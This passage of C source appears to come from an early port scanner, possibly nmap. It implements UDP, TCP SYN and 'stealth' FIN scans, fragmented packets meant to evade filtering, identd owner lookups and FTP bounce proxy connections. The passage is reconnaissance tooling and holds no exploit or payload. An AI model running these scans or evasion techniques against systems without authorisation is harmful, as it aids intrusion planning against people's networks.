if (bytes <= 0) {

printf("sendto returned %d.", bytes);

fflush(stdout);

perror("sendto");

}

}

if (bytes > 0 && i > tmp) {

num_out++;

outports[i] = portarray[j‑1];

}

}

}

usleep(sleeptime);

tmp = listen_icmp(icmpsock, outports, numtries, &num_out, target, ports); if (debugging) printf("listen_icmp caught %d bad ports.\n", tmp); done = !portarray[j];

for (i=0,k=0; i < max_parallel_sockets; i++)

if (outports[i]) {

if (++numtries[i] > max_tries ‑ 1) {

if (debugging || verbose)

printf("Adding port %d for 0 unreachable port generations\n", outports[i]);

addport(ports, outports[i], IPPROTO_UDP, NULL);

num_out‑‑;

outports[i] = numtries[i] = 0;

}

else {

done = 0;

outports[k] = outports[i];

numtries[k] = numtries[i];

if (k != i)

outports[i] = numtries[i] = 0;

k++;

}

}

if (num_out == max_parallel_sockets) {

printf("Numout is max sockets, that is a problem!\n"); sleep(1); /* Give some time for responses to trickle back,

and possibly to reset the hosts ICMP error limit */

}

}

if (debugging || verbose)

printf("The UDP raw ICMP scanned %d ports in %ld seconds with %d parallel sockets.\n", number_of_ports, time(NULL) ‑ starttime, max_parallel_sockets); close(icmpsock);

close(udpsock);

return *ports;

}

int listen_icmp(int icmpsock, unsigned short outports[], unsigned short numtries[], int *num_out, struct in_addr target, portlist *ports) {

char response[1024];

struct sockaddr_in stranger;

int sockaddr_in_size = sizeof(struct sockaddr_in);

struct in_addr bs;

struct iphdr *ip = (struct iphdr *) response;

struct icmphdr *icmp = (struct icmphdr *) (response + sizeof(struct iphdr)); struct iphdr *ip2;

unsigned short *data;

int badport, numcaught=0, bytes, i, tmptry=0, found=0;

while ((bytes = recvfrom(icmpsock, response, 1024, 0, (struct sockaddr *) &stranger,

&sockaddr_in_size)) > 0) {

numcaught++;

bs.s_addr = ip‑>saddr;

if (ip‑>saddr == target.s_addr && ip‑>protocol == IPPROTO_ICMP && icmp‑>type == 3 && icmp‑>code == 3) {

ip2 = (struct iphdr *) (response + 4 * ip‑>ihl + sizeof(struct icmphdr)); data = (unsigned short *) ((char *)ip2 + 4 * ip2‑>ihl); badport = ntohs(data[1]);

/*delete it from our outports array */

found = 0;

for(i=0; i < max_parallel_sockets; i++)

if (outports[i] == badport) {

found = 1;

tmptry = numtries[i];

outports[i] = numtries[i] = 0;

(*num_out)‑‑;

break;

}

if (debugging && found && tmptry > 0)

printf("Badport: %d on try number %d\n", badport, tmptry); if (!found) {

if (debugging)

printf("Badport %d came in late, deleting from portlist.\n", badport); if (deleteport(ports, badport, IPPROTO_UDP) < 0)

if (debugging) printf("Port deletion failed.\n");

}

}

else {

printf("Funked up packet!\n");

}

}

return numcaught;

}

/* This fucntion is nonsens. I wrote it all, really optimized etc. Then

found out that many hosts limit the rate at which they send icmp errors :( I will probably totally rewrite it to be much simpler at some point. For now I won't worry about it since it isn't a very important functions (UDP is lame, plus there is already a much better function for people who are r00t */

portlist lamer_udp_scan(struct in_addr target, unsigned short *portarray, portlist *ports) {

int sockaddr_in_size = sizeof(struct sockaddr_in),i=0,j=0,k=0, bytes; int sockets[max_parallel_sockets], trynum[max_parallel_sockets]; unsigned short portno[max_parallel_sockets];

int last_open = 0;

char response[1024];

struct sockaddr_in her, stranger;

char data[] = "\nhelp\nquit\n";

unsigned long sleeptime;

unsigned int starttime;

/* Initialize our target sockaddr_in */

bzero((char *) &her, sizeof(struct sockaddr_in));

her.sin_family = AF_INET;

her.sin_addr = target;

if (global_delay) sleeptime = global_delay;

else sleeptime = calculate_sleep(target) + 60000; /*large to be on the

safe side */

if (verbose || debugging)

printf("Initiating UDP scan against %s (%s), sleeptime: %li\n", current_name, inet_ntoa(target), sleeptime);

starttime = time(NULL);

for(i = 0 ; i < max_parallel_sockets; i++)

trynum[i] = portno[i] = 0;

while(portarray[j]) {

for(i=0; i < max_parallel_sockets && portarray[j]; i++, j++) { if (i >= last_open) {

if ((sockets[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == ‑1) {perror("datagram socket troubles"); exit(1);} block_socket(sockets[i]);

portno[i] = portarray[j];

}

her.sin_port = htons(portarray[j]);

bytes = sendto(sockets[i], data, sizeof(data), 0, (struct sockaddr *) &her, sizeof(struct sockaddr_in));

usleep(5000);

if (debugging > 1)

printf("Sent %d bytes on socket %d to port %hi, try number %d.\n", bytes, sockets[i], portno[i], trynum[i]);

if (bytes < 0 ) {

printf("Sendto returned %d the FIRST TIME!@#$!, errno %d\n", bytes, errno);

perror("");

trynum[i] = portno[i] = 0;

close(sockets[i]);

}

}

last_open = i;

/* Might need to change this to 1e6 if you are having problems*/

usleep(sleeptime + 5e5);

for(i=0; i < last_open ; i++) {

if (portno[i]) {

unblock_socket(sockets[i]);

if ((bytes = recvfrom(sockets[i], response, 1024, 0, (struct sockaddr *) &stranger,

&sockaddr_in_size)) == ‑1)

{

if (debugging > 1)

printf("2nd recvfrom on port %d returned %d with errno %d.\n", portno[i], bytes, errno);

if (errno == EAGAIN /*11*/)

{

if (trynum[i] < 2) trynum[i]++;

else {

if (RISKY_UDP_SCAN) {

printf("Adding port %d after 3 EAGAIN errors.\n", portno[i]); addport(ports, portno[i], IPPROTO_UDP, NULL);

}

else if (debugging)

printf("Skipping possible false positive, port %d\n", portno[i]);

trynum[i] = portno[i] = 0; close(sockets[i]);

}

}

else if (errno == ECONNREFUSED /*111*/) {

if (debugging > 1)

printf("Closing socket for port %d, ECONNREFUSED received.\n", portno[i]);

trynum[i] = portno[i] = 0; close(sockets[i]);

}

else {

printf("Curious recvfrom error (%d) on port %hi: ", errno, portno[i]);

perror("");

trynum[i] = portno[i] = 0; close(sockets[i]);

}

}

else /*bytes is positive*/ {

if (debugging || verbose)

printf("Adding UDP port %d due to positive read!\n", portno[i]); addport(ports,portno[i], IPPROTO_UDP, NULL); trynum[i] = portno[i] = 0;

close(sockets[i]);

}

}

}

/* Update last_open, we need to create new sockets.*/

for(i=0, k=0; i < last_open; i++)

if (portno[i]) {

close(sockets[i]);

sockets[k] = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); /* unblock_socket(sockets[k]);*/

portno[k] = portno[i];

trynum[k] = trynum[i];

k++;

}

last_open = k;

for(i=k; i < max_parallel_sockets; i++)

trynum[i] = sockets[i] = portno[i] = 0;

}

if (debugging)

printf("UDP scanned %d ports in %ld seconds with %d parallel sockets\n", number_of_ports, time(NULL) ‑ starttime, max_parallel_sockets); return *ports;

}

/* This attempts to calculate the round trip time (rtt) to a host by timing a

connect() to a port which isn't listening. A better approach is to time a ping (since it is more likely to get through firewalls. This is now implemented in isup() for users who are root. */

unsigned long calculate_sleep(struct in_addr target) {

struct timeval begin, end;

int sd;

struct sockaddr_in sock;

int res;

if ((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == ‑1) {perror("Socket troubles"); exit(1);}

sock.sin_family = AF_INET;

sock.sin_addr.s_addr = target.s_addr;

sock.sin_port = htons(MAGIC_PORT);

gettimeofday(&begin, NULL);

if ((res = connect(sd, (struct sockaddr *) &sock, sizeof(struct sockaddr_in))) != ‑1)

printf("You might want to change MAGIC_PORT in the include file, it seems to be listening on the target host!\n"); close(sd);

gettimeofday(&end, NULL);

if (end.tv_sec ‑ begin.tv_sec > 5 ) /*uh‑oh!*/

return 0;

return (end.tv_sec ‑ begin.tv_sec) * 1000000 + (end.tv_usec ‑ begin.tv_usec); }

/* Checks whether the identd port (113) is open on the target machine. No

sense wasting time trying it for each good port if it is down! */

int check_ident_port(struct in_addr target) {

int sd;

struct sockaddr_in sock;

int res;

if ((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == ‑1) {perror("Socket troubles"); exit(1);}

sock.sin_family = AF_INET;

sock.sin_addr.s_addr = target.s_addr;

sock.sin_port = htons(113); /*should use getservbyname(3), yeah, yeah */

res = connect(sd, (struct sockaddr *) &sock, sizeof(struct sockaddr_in)); close(sd);

if (res < 0 ) {

if (debugging || verbose) printf("identd port not active\n"); return 0;

}

if (debugging || verbose) printf("identd port is active\n"); return 1;

}

int getidentinfoz(struct in_addr target, int localport, int remoteport, char *owner) {

int sd;

struct sockaddr_in sock;

int res;

char request[15];

char response[1024];

char *p,*q;

char *os;

owner[0] = '\0';

if ((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == ‑1) {perror("Socket troubles"); exit(1);}

sock.sin_family = AF_INET;

sock.sin_addr.s_addr = target.s_addr;

sock.sin_port = htons(113);

usleep(50000); /* If we aren't careful, we really MIGHT take out inetd,

some are very fragile */

res = connect(sd, (struct sockaddr *) &sock, sizeof(struct sockaddr_in));

if (res < 0 ) {

if (debugging || verbose)

printf("identd port not active now for some reason ... hope we didn't break it!\n"); close(sd);

return 0;

}

sprintf(request,"%hi,%hi\r\n", remoteport, localport);

if (debugging > 1) printf("Connected to identd, sending request: %s", request); if (write(sd, request, strlen(request) + 1) == ‑1) { perror("identd write");

close(sd);

return 0;

}

else if ((res = read(sd, response, 1024)) == ‑1) { perror("reading from identd");

close(sd);

return 0;

}

else {

close(sd);

if (debugging > 1) printf("Read %d bytes from identd: %s\n", res, response); if ((p = strchr(response, ':'))) {

p++;

if ((q = strtok(p, " :"))) {

if (!strcasecmp( q, "error")) {

if (debugging || verbose) printf("ERROR returned from identd\n"); return 0;

}

if ((os = strtok(NULL, " :"))) {

if ((p = strtok(NULL, " :"))) {

if ((q = strchr(p, '\r'))) *q = '\0';

if ((q = strchr(p, '\n'))) *q = '\0';

strncpy(owner, p, 512);

owner[512] = '\0';

}

}

}

}

}

return 1;

}

/* A relatively fast (or at least short ;) ping function. Doesn't require a

seperate checksum function */

int isup(struct in_addr target) {

int res, retries = 3;

struct sockaddr_in sock;

/*type(8bit)=8, code(8)=0 (echo REQUEST), checksum(16)=34190, id(16)=31337 */

#ifdef __LITTLE_ENDIAN_BITFIELD

unsigned char ping[64] = { 0x8, 0x0, 0x8e, 0x85, 0x69, 0x7A }; #else

unsigned char ping[64] = { 0x8, 0x0, 0x85, 0x8e, 0x7A, 0x69 }; #endif

int sd;

struct timeval tv;

struct timeval start, end;

fd_set fd_read;

struct {

struct iphdr ip;

unsigned char type;

unsigned char code;

unsigned short checksum;

unsigned short identifier;

char crap[16536];

} response;

sd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);

bzero((char *)&sock,sizeof(struct sockaddr_in)); sock.sin_family=AF_INET;

sock.sin_addr = target;

if (debugging > 1) printf(" Sending 3 64 byte raw pings to host.\n"); gettimeofday(&start, NULL);

while(‑‑retries) {

if ((res = sendto(sd,(char *) ping,64,0,(struct sockaddr *)&sock, sizeof(struct sockaddr))) != 64) {

fprintf(stderr, "sendto in isup returned %d! skipping host.\n", res); return 0;

}

FD_ZERO(&fd_read);

FD_SET(sd, &fd_read);

tv.tv_sec = 0;

tv.tv_usec = 1e6 * (PING_TIMEOUT / 3.0);

while(1) {

if ((res = select(sd + 1, &fd_read, NULL, NULL, &tv)) != 1) break;

else {

read(sd,&response,sizeof(response));

if (response.ip.saddr == target.s_addr && !response.type && !response.code && response.identifier == 31337) { gettimeofday(&end, NULL);

global_rtt = (end.tv_sec ‑ start.tv_sec) * 1e6 + end.tv_usec ‑ start.tv_usec; ouraddr.s_addr = response.ip.daddr;

close(sd);

return 1;

}

}

}

}

close(sd);

return 0;

}

portlist syn_scan(struct in_addr target, unsigned short *portarray, struct in_addr *source, int fragment, portlist *ports) {

int i=0, j=0, received, bytes, starttime;

struct sockaddr_in from;

int fromsize = sizeof(struct sockaddr_in);

int sockets[max_parallel_sockets];

struct timeval tv;

char packet[65535];

struct iphdr *ip = (struct iphdr *) packet;

struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct iphdr)); fd_set fd_read, fd_write;

int res;

struct hostent *myhostent;

char myname[MAXHOSTNAMELEN + 1];

int source_malloc = 0;

FD_ZERO(&fd_read);

FD_ZERO(&fd_write);

tv.tv_sec = 7;

tv.tv_usec = 0;

if ((received = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0 ) perror("socket trobles in syn_scan");

unblock_socket(received);

FD_SET(received, &fd_read);

/* First we take what is given to us as source. If that isn't valid, we take

what should have swiped from the echo reply in our ping function. If THAT doesn't work either, we try to determine our address with gethostname and gethostbyname. Whew! */

if (!source) {

if (ouraddr.s_addr) {

source = &ouraddr;

}

else {

source = safe_malloc(sizeof(struct in_addr));

source_malloc = 1;

if (gethostname(myname, MAXHOSTNAMELEN) ||

!(myhostent = gethostbyname(myname)))

fatal("Your system is fucked up.\n");

memcpy(source, myhostent‑>h_addr_list[0], sizeof(struct in_addr)); }

if (debugging)

printf("We skillfully deduced that your address is %s\n", inet_ntoa(*source));

}

starttime = time(NULL);

do {

for(i=0; i < max_parallel_sockets && portarray[j]; i++) {

if ((sockets[i] = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0 ) perror("socket trobles in syn_scan");

else {

if (fragment)

send_small_fragz(sockets[i], source, &target, MAGIC_PORT, portarray[j++], TH_SYN);

else send_tcp_raw(sockets[i], source , &target, MAGIC_PORT, portarray[j++],0,0,TH_SYN,0,0,0);

usleep(10000);

}

}

if ((res = select(received + 1, &fd_read, NULL, NULL, &tv)) < 0) perror("select problems in syn_scan");

else if (res > 0) {

while ((bytes = recvfrom(received, packet, 65535, 0, (struct sockaddr *)&from, &fromsize)) > 0 ) {

if (ip‑>saddr == target.s_addr) {

if (tcp‑>th_flags & TH_RST) {

if (debugging > 1) printf("Nothing open on port %d\n", ntohs(tcp‑>th_sport));

}

else /*if (tcp‑>th_flags & TH_SYN && tcp‑>th_flags & TH_ACK)*/ {

if (debugging || verbose) {

printf("Possible catch on port %d! Here it is:\n", ntohs(tcp‑>th_sport));

readtcppacket(packet,1);

}

addport(ports, ntohs(tcp‑>th_sport), IPPROTO_TCP, NULL);

}

}

}

}

for(i=0; i < max_parallel_sockets && portarray[j]; i++) close(sockets[i]);

} while (portarray[j]);

if (debugging || verbose)

printf("The TCP SYN scan took %ld seconds to scan %d ports.\n", time(NULL) ‑ starttime, number_of_ports);

if (source_malloc) free(source); /* Gotta save those 4 bytes! ;) */

close(received);

return *ports;

}

int send_tcp_raw( int sd, struct in_addr *source,

struct in_addr *victim, unsigned short sport,

unsigned short dport, unsigned long seq,

unsigned long ack, unsigned char flags,

unsigned short window, char *data,

unsigned short datalen)

{

struct pseudo_header {

/*for computing TCP checksum, see TCP/IP Illustrated p. 145 */

unsigned long s_addr;

unsigned long d_addr;

char zer0;

unsigned char protocol;

unsigned short length;

};

char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + datalen]; /*With these placement we get data and some field alignment so we aren't

wasting too much in computing the checksum */

struct iphdr *ip = (struct iphdr *) packet;

struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct iphdr)); struct pseudo_header *pseudo = (struct pseudo_header *) (packet + sizeof(struct iphdr) ‑ sizeof(struct pseudo_header)); int res;

struct sockaddr_in sock;

char myname[MAXHOSTNAMELEN + 1];

struct hostent *myhostent;

int source_malloced = 0;

/* check that required fields are there and not too silly */

if ( !victim || !sport || !dport || sd < 0) {

fprintf(stderr, "send_tcp_raw: One or more of your parameters suck!\n"); return ‑1;

}

/* if they didn't give a source address, fill in our first address */

if (!source) {

source_malloced = 1;

source = safe_malloc(sizeof(struct in_addr));

if (gethostname(myname, MAXHOSTNAMELEN) ||

!(myhostent = gethostbyname(myname)))

fatal("Your system is fucked up.\n");

memcpy(source, myhostent‑>h_addr_list[0], sizeof(struct in_addr)); if (debugging > 1)

printf("We skillfully deduced that your address is %s\n", inet_ntoa(*source));

}

/*do we even have to fill out this damn thing? This is a raw packet,

after all */

sock.sin_family = AF_INET;

sock.sin_port = htons(dport);

sock.sin_addr.s_addr = victim‑>s_addr;

bzero(packet, sizeof(struct iphdr) + sizeof(struct tcphdr));

pseudo‑>s_addr = source‑>s_addr;

pseudo‑>d_addr = victim‑>s_addr;

pseudo‑>protocol = IPPROTO_TCP;

pseudo‑>length = htons(sizeof(struct tcphdr) + datalen);

tcp‑>th_sport = htons(sport);

tcp‑>th_dport = htons(dport);

if (seq)

tcp‑>th_seq = htonl(seq);

else tcp‑>th_seq = rand() + rand();

if (flags & TH_ACK && ack)

tcp‑>th_ack = htonl(seq);

else if (flags & TH_ACK)

tcp‑>th_ack = rand() + rand();

tcp‑>th_off = 5 /*words*/;

tcp‑>th_flags = flags;

if (window)

tcp‑>th_win = window;

else tcp‑>th_win = htons(2048); /* Who cares */

tcp‑>th_sum = in_cksum((unsigned short *)pseudo, sizeof(struct tcphdr) + sizeof(struct pseudo_header) + datalen);

/* Now for the ip header */

bzero(packet, sizeof(struct iphdr));

ip‑>version = 4;

ip‑>ihl = 5;

ip‑>tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + datalen); ip‑>id = rand();

ip‑>ttl = 255;

ip‑>protocol = IPPROTO_TCP;

ip‑>saddr = source‑>s_addr;

ip‑>daddr = victim‑>s_addr;

ip‑>check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));

if (debugging > 1) {

printf("Raw TCP packet creation completed! Here it is:\n"); readtcppacket(packet,ntohs(ip‑>tot_len));

}

if (debugging > 1)

printf("\nTrying sendto(%d , packet, %d, 0 , %s , %d)\n",

sd, ntohs(ip‑>tot_len), inet_ntoa(*victim),

sizeof(struct sockaddr_in));

if ((res = sendto(sd, packet, ntohs(ip‑>tot_len), 0,

(struct sockaddr *)&sock, sizeof(struct sockaddr_in))) == ‑1) {

perror("sendto in send_tcp_raw");

if (source_malloced) free(source);

return ‑1;

}

if (debugging > 1) printf("successfully sent %d bytes of raw_tcp!\n", res);

if (source_malloced) free(source);

return res;

}

/* A simple program I wrote to help in debugging, shows the important fields

of a TCP packet*/

int readtcppacket(char *packet, int readdata) {

struct iphdr *ip = (struct iphdr *) packet;

struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct iphdr)); char *data = packet + sizeof(struct iphdr) + sizeof(struct tcphdr); int tot_len;

struct in_addr bullshit, bullshit2;

char sourcehost[16];

int i;

if (!packet) {

fprintf(stderr, "readtcppacket: packet is NULL!\n");

return ‑1;

}

bullshit.s_addr = ip‑>saddr; bullshit2.s_addr = ip‑>daddr;

tot_len = ntohs(ip‑>tot_len);

strncpy(sourcehost, inet_ntoa(bullshit), 16);

i = 4 * (ntohs(ip‑>ihl) + ntohs(tcp‑>th_off));

if (ip‑>protocol == IPPROTO_TCP)

if (ip‑>frag_off) printf("Packet is fragmented, offset field: %u", ip‑>frag_off);

else {

printf("TCP packet: %s:%d ‑> %s:%d (total: %d bytes)\n", sourcehost, ntohs(tcp‑>th_sport), inet_ntoa(bullshit2), ntohs(tcp‑>th_dport), tot_len);

printf("Flags: ");

if (!tcp‑>th_flags) printf("(none)");

if (tcp‑>th_flags & TH_RST) printf("RST ");

if (tcp‑>th_flags & TH_SYN) printf("SYN ");

if (tcp‑>th_flags & TH_ACK) printf("ACK ");

if (tcp‑>th_flags & TH_PUSH) printf("PSH ");

if (tcp‑>th_flags & TH_FIN) printf("FIN ");

if (tcp‑>th_flags & TH_URG) printf("URG ");

printf("\n");

printf("ttl: %hi ", ip‑>ttl);

if (tcp‑>th_flags & (TH_SYN | TH_ACK)) printf("Seq: %lu\tAck: %lu\n", tcp‑>th_seq, tcp‑>th_ack);

else if (tcp‑>th_flags & TH_SYN) printf("Seq: %lu\n", ntohl(tcp‑>th_seq)); else if (tcp‑>th_flags & TH_ACK) printf("Ack: %lu\n", ntohl(tcp‑>th_ack)); }

if (readdata && i < tot_len) {

printf("Data portion:\n");

while(i < tot_len) printf("%2X%c", data[i], (++i%16)? ' ' : '\n'); printf("\n");

}

return 0;

}

/* We don't exactly need real crypto here (thank god!)\n"*/

int shortfry(unsigned short *ports) {

int num;

unsigned short tmp;

int i;

for(i=0; i < number_of_ports; i++) {

num = rand() % (number_of_ports);

tmp = ports[i];

ports[i] = ports[num];

ports[num] = tmp;

}

return 1;

}

/* Much of this is swiped from my send_tcp_raw function above, which

doesn't support fragmentation */

int send_small_fragz(int sd, struct in_addr *source, struct in_addr *victim, int sport, int dport, int flags) {

struct pseudo_header {

/*for computing TCP checksum, see TCP/IP Illustrated p. 145 */

unsigned long s_addr;

unsigned long d_addr;

char zer0;

unsigned char protocol;

unsigned short length;

};

/*In this placement we get data and some field alignment so we aren't wasting

too much to compute the TCP checksum.*/

char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + 100]; struct iphdr *ip = (struct iphdr *) packet;

struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct iphdr)); struct pseudo_header *pseudo = (struct pseudo_header *) (packet + sizeof(struct iphdr) ‑ sizeof(struct pseudo_header)); char *frag2 = packet + sizeof(struct iphdr) + 16;

struct iphdr *ip2 = (struct iphdr *) (frag2 ‑ sizeof(struct iphdr)); int res;

struct sockaddr_in sock;

int id;

/*Why do we have to fill out this damn thing? This is a raw packet, after all */

sock.sin_family = AF_INET;

sock.sin_port = htons(dport);

sock.sin_addr.s_addr = victim‑>s_addr;

bzero(packet, sizeof(struct iphdr) + sizeof(struct tcphdr));

pseudo‑>s_addr = source‑>s_addr;

pseudo‑>d_addr = victim‑>s_addr;

pseudo‑>protocol = IPPROTO_TCP;

pseudo‑>length = htons(sizeof(struct tcphdr));

tcp‑>th_sport = htons(sport);

tcp‑>th_dport = htons(dport);

tcp‑>th_seq = rand() + rand();

tcp‑>th_off = 5 /*words*/;

tcp‑>th_flags = flags;

tcp‑>th_win = htons(2048); /* Who cares */

tcp‑>th_sum = in_cksum((unsigned short *)pseudo, sizeof(struct tcphdr) + sizeof(struct pseudo_header));

/* Now for the ip header of frag1 */

bzero(packet, sizeof(struct iphdr));

ip‑>version = 4;

ip‑>ihl = 5;

/*RFC 791 allows 8 octet frags, but I get "operation not permitted" (EPERM)

when I try that. */

ip‑>tot_len = htons(sizeof(struct iphdr) + 16);

id = ip‑>id = rand();

ip‑>frag_off = htons(MORE_FRAGMENTS);

ip‑>ttl = 255;

ip‑>protocol = IPPROTO_TCP;

ip‑>saddr = source‑>s_addr;

ip‑>daddr = victim‑>s_addr;

ip‑>check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));

if (debugging > 1) {

printf("Raw TCP packet fragment #1 creation completed! Here it is:\n"); hdump(packet,20);

}

if (debugging > 1)

printf("\nTrying sendto(%d , packet, %d, 0 , %s , %d)\n",

sd, ntohs(ip‑>tot_len), inet_ntoa(*victim),

sizeof(struct sockaddr_in));

if ((res = sendto(sd, packet, ntohs(ip‑>tot_len), 0,

(struct sockaddr *)&sock, sizeof(struct sockaddr_in))) == ‑1) {

perror("sendto in send_syn_fragz");

return ‑1;

}

if (debugging > 1) printf("successfully sent %d bytes of raw_tcp!\n", res);

/* Create the second fragment */

bzero(ip2, sizeof(struct iphdr));

ip2‑>version = 4;

ip2‑>ihl = 5;

ip2‑>tot_len = htons(sizeof(struct iphdr) + 4); /* the rest of our TCP packet */

ip2‑>id = id;

ip2‑>frag_off = htons(2);

ip2‑>ttl = 255;

ip2‑>protocol = IPPROTO_TCP;

ip2‑>saddr = source‑>s_addr;

ip2‑>daddr = victim‑>s_addr;

ip2‑>check = in_cksum((unsigned short *)ip2, sizeof(struct iphdr)); if (debugging > 1) {

printf("Raw TCP packet fragment creation completed! Here it is:\n"); hdump(packet,20);

}

if (debugging > 1)

printf("\nTrying sendto(%d , ip2, %d, 0 , %s , %d)\n", sd, ntohs(ip2‑>tot_len), inet_ntoa(*victim), sizeof(struct sockaddr_in)); if ((res = sendto(sd, ip2, ntohs(ip2‑>tot_len), 0,

(struct sockaddr *)&sock, sizeof(struct sockaddr_in))) == ‑1) {

perror("sendto in send_tcp_raw");

return ‑1;

}

return 1;

}

/* Hex dump */

void hdump(unsigned char *packet, int len) {

unsigned int i=0, j=0;

printf("Here it is:\n");

for(i=0; i < len; i++){

j = (unsigned) (packet[i]);

printf("%‑2X ", j);

if (!((i+1)%16))

printf("\n");

else if (!((i+1)%4))

printf(" ");

}

printf("\n");

}

portlist fin_scan(struct in_addr target, unsigned short *portarray, struct in_addr *source, int fragment, portlist *ports) {

int rawsd, tcpsd;

int done = 0, badport, starttime, someleft, i, j=0, retries=2;

int source_malloc = 0;

int waiting_period = retries, sockaddr_in_size = sizeof(struct sockaddr_in); int bytes, dupesinarow = 0;

unsigned long timeout;

struct hostent *myhostent;

char response[65535], myname[513];

struct iphdr *ip = (struct iphdr *) response;

struct tcphdr *tcp;

unsigned short portno[max_parallel_sockets], trynum[max_parallel_sockets]; struct sockaddr_in stranger;

timeout = (global_delay)? global_delay : (global_rtt)? (1.2 * global_rtt) + 10000 : 1e5; bzero(&stranger, sockaddr_in_size);

bzero(portno, max_parallel_sockets * sizeof(unsigned short)); bzero(trynum, max_parallel_sockets * sizeof(unsigned short)); starttime = time(NULL);

if (debugging || verbose)

printf("Initiating FIN stealth scan against %s (%s), sleep delay: %ld useconds\n", current_name, inet_ntoa(target), timeout);

if (!source) {

if (ouraddr.s_addr) {

source = &ouraddr;

}

else {

source = safe_malloc(sizeof(struct in_addr));

source_malloc = 1;

if (gethostname(myname, MAXHOSTNAMELEN) ||

!(myhostent = gethostbyname(myname)))

fatal("Your system is fucked up.\n");

memcpy(source, myhostent‑>h_addr_list[0], sizeof(struct in_addr)); }

if (debugging || verbose)

printf("We skillfully deduced that your address is %s\n", inet_ntoa(*source));

}

if ((rawsd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0 ) perror("socket trobles in fin_scan");

if ((tcpsd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0 ) perror("socket trobles in fin_scan");

unblock_socket(tcpsd);

while(!done) {

for(i=0; i < max_parallel_sockets; i++) {

if (!portno[i] && portarray[j]) {

portno[i] = portarray[j++];

}

if (portno[i]) {

if (fragment)

send_small_fragz(rawsd, source, &target, MAGIC_PORT, portno[i], TH_FIN); else send_tcp_raw(rawsd, source , &target, MAGIC_PORT, portno[i], 0, 0, TH_FIN, 0, 0, 0);

usleep(10000); /* *WE* normally do not need this, but the target

lamer often does */

}

}

usleep(timeout);

dupesinarow = 0;

while ((bytes = recvfrom(tcpsd, response, 65535, 0, (struct sockaddr *) &stranger, &sockaddr_in_size)) > 0)

if (ip‑>saddr == target.s_addr) {

tcp = (struct tcphdr *) (response + 4 * ip‑>ihl);

if (tcp‑>th_flags & TH_RST) {

badport = ntohs(tcp‑>th_sport);

if (debugging > 1) printf("Nothing open on port %d\n", badport); /* delete the port from active scanning */

for(i=0; i < max_parallel_sockets; i++)

if (portno[i] == badport) {

if (debugging && trynum[i] > 0)

printf("Bad port %d caught on fin scan, try number %d\n", badport, trynum[i] + 1);

trynum[i] = 0;

portno[i] = 0;

break;

}

if (i == max_parallel_sockets) {

if (debugging)

printf("Late packet or dupe, deleting port %d.\n", badport); dupesinarow++;

if (ports) deleteport(ports, badport, IPPROTO_TCP);

}

}

else

if (debugging > 1) {

printf("Strange packet from target%d! Here it is:\n", ntohs(tcp‑>th_sport));

if (bytes >= 40) readtcppacket(response,1);

else hdump(response,bytes);

}

}

/* adjust waiting time if neccessary */

if (dupesinarow > 6) {

if (debugging || verbose)

printf("Slowing down send frequency due to multiple late packets.\n"); if (timeout < 10 * ((global_delay)? global_delay: global_rtt + 20000)) timeout *= 1.5; else {

printf("Too many late packets despite send frequency decreases, skipping scan.\n"); if (source_malloc) free(source);

return *ports;

}

}

/* Ok, collect good ports (those that we haven't received responses too

after all our retries */

someleft = 0;

for(i=0; i < max_parallel_sockets; i++)

if (portno[i]) {

if (++trynum[i] >= retries) {

if (verbose || debugging)

printf("Good port %d detected by fin_scan!\n", portno[i]); addport(ports, portno[i], IPPROTO_TCP, NULL);

send_tcp_raw( rawsd, source, &target, MAGIC_PORT, portno[i], 0, 0, TH_FIN, 0, 0, 0);

portno[i] = trynum[i] = 0;

}

else someleft = 1;

}

if (!portarray[j] && (!someleft || ‑‑waiting_period <= 0)) done++; }

if (debugging || verbose)

printf("The TCP stealth FIN scan took %ld seconds to scan %d ports.\n", time(NULL) ‑ starttime, number_of_ports);

if (source_malloc) free(source);

close(tcpsd);

close(rawsd);

return *ports;

}

int ftp_anon_connect(struct ftpinfo *ftp) {

int sd;

struct sockaddr_in sock;

int res;

char recvbuf[2048];

char command[512];

if (verbose || debugging)

printf("Attempting connection to ftp://%s:%s@%s:%i\n", ftp‑>user, ftp‑>pass,

ftp‑>server_name, ftp‑>port);

if ((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { perror("Couldn't create ftp_anon_connect socket");

return 0;

}

sock.sin_family = AF_INET;

sock.sin_addr.s_addr = ftp‑>server.s_addr;

sock.sin_port = htons(ftp‑>port);

res = connect(sd, (struct sockaddr *) &sock, sizeof(struct sockaddr_in)); if (res < 0 ) {

printf("Your ftp bounce proxy server won't talk to us!\n"); exit(1);

}

if (verbose || debugging) printf("Connected:");

while ((res = recvtime(sd, recvbuf, 2048,7)) > 0)

if (debugging || verbose) {

recvbuf[res] = '\0';

printf("%s", recvbuf);

}

if (res < 0) {

perror("recv problem from ftp bounce server");

exit(1);

}

snprintf(command, 511, "USER %s\r\n", ftp‑>user);

send(sd, command, strlen(command), 0);

res = recvtime(sd, recvbuf, 2048,12);

if (res <= 0) {

perror("recv problem from ftp bounce server");

exit(1);

}

recvbuf[res] = '\0';

if (debugging) printf("sent username, received: %s", recvbuf);

if (recvbuf[0] == '5') {

printf("Your ftp bounce server doesn't like the username \"%s\"\n", ftp‑>user);

exit(1);

}

snprintf(command, 511, "PASS %s\r\n", ftp‑>pass);

send(sd, command, strlen(command), 0);

res = recvtime(sd, recvbuf, 2048,12);

if (res < 0) {

perror("recv problem from ftp bounce server\n");

exit(1);

}

if (!res) printf("Timeout from bounce server ...");

else {

